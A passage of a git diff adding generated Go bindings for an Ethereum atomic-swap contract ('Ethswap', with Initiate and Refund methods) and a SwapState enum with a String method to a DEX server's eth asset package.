(constant) contract method with params as input values and +// sets the output to result. The result type might be a single field for simple +// returns, a slice of interfaces for anonymous returns and a struct for named +// returns. +func (_Ethswap *EthswapRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { + return _Ethswap.Contract.EthswapCaller.contract.Call(opts, result, method, params...) +} + +// Transfer initiates a plain transaction to move funds to the contract, calling +// its default method if one is available. +func (_Ethswap *EthswapRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { + return _Ethswap.Contract.EthswapTransactor.contract.Transfer(opts) +} + +// Transact invokes the (paid) contract method with params as input values. +func (_Ethswap *EthswapRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { + return _Ethswap.Contract.EthswapTransactor.contract.Transact(opts, method, params...) +} + +// Call invokes the (constant) contract method with params as input values and +// sets the output to result. The result type might be a single field for simple +// returns, a slice of interfaces for anonymous returns and a struct for named +// returns. +func (_Ethswap *EthswapCallerRaw) Call(opts *bind.CallOpts, result *[]interface{}, method string, params ...interface{}) error { + return _Ethswap.Contract.contract.Call(opts, result, method, params...) +} + +// Transfer initiates a plain transaction to move funds to the contract, calling +// its default method if one is available. +func (_Ethswap *EthswapTransactorRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { + return _Ethswap.Contract.contract.Transfer(opts) +} + +// Transact invokes the (paid) contract method with params as input values. +func (_Ethswap *EthswapTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { + return _Ethswap.Contract.contract.Transact(opts, method, params...) +} + +// Initiate is a paid mutator transaction binding the contract method 0xae052147. +// +// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() +func (_Ethswap *EthswapTransactor) Initiate(opts *bind.TransactOpts, refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { + return _Ethswap.contract.Transact(opts, "initiate", refundTimestamp, secretHash, participant) +} + +// Initiate is a paid mutator transaction binding the contract method 0xae052147. +// +// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() +func (_Ethswap *EthswapSession) Initiate(refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { + return _Ethswap.Contract.Initiate(&_Ethswap.TransactOpts, refundTimestamp, secretHash, participant) +} + +// Initiate is a paid mutator transaction binding the contract method 0xae052147. +// +// Solidity: function initiate(uint256 refundTimestamp, bytes32 secretHash, address participant) payable returns() +func (_Ethswap *EthswapTransactorSession) Initiate(refundTimestamp *big.Int, secretHash [32]byte, participant common.Address) (*types.Transaction, error) { + return _Ethswap.Contract.Initiate(&_Ethswap.TransactOpts, refundTimestamp, secretHash, participant) +} + +// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. +// +// Solidity: function refund(bytes32 secretHash) returns() +func (_Ethswap *EthswapTransactor) Refund(opts *bind.TransactOpts, secretHash [32]byte) (*types.Transaction, error) { + return _Ethswap.contract.Transact(opts, "refund", secretHash) +} + +// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. +// +// Solidity: function refund(bytes32 secretHash) returns() +func (_Ethswap *EthswapSession) Refund(secretHash [32]byte) (*types.Transaction, error) { + return _Ethswap.Contract.Refund(&_Ethswap.TransactOpts, secretHash) +} + +// Refund is a paid mutator transaction binding the contract method 0x7249fbb6. +// +// Solidity: function refund(bytes32 secretHash) returns() +func (_Ethswap *EthswapTransactorSession) Refund(secretHash [32]byte) (*types.Transaction, error) { + return _Ethswap.Contract.Refund(&_Ethswap.TransactOpts, secretHash) +} diff --git a/server/asset/eth/common.go b/server/asset/eth/common.go index 059591d5a1..2c22cd6b41 100644 --- a/server/asset/eth/common.go +++ b/server/asset/eth/common.go @@ -11,7 +11,15 @@ import ( "github.com/ethereum/go-ethereum/common" ) +type SwapState uint8 + const ( + // Swap states represent the status of a swap. + None SwapState = iota + Initiated + Redeemed + Refunded + // coinIdSize = flags (2) + smart contract address where funds are // locked (20) + secret hash map key (32) coinIDSize = 54 @@ -34,6 +42,21 @@ func ToGwei(wei *big.Int) (uint64, error) { return wei.Uint64(), nil } +// String satisfies the Stringer interface. +func (ss SwapState) String() string { + switch ss { + case None: + return "none" + case Initiated: + return "initiated" + case Redeemed: + return "redeemed" + case Refunded: + return "refunded" + } + return "unknown" +} + // DecodeCoinID decodes the coin ID into flags, a contract address, and secret hash. func DecodeCoinID(coinID []byte) (uint16, common.Address, []byte, error) { if len(coinID) != coinIDSize {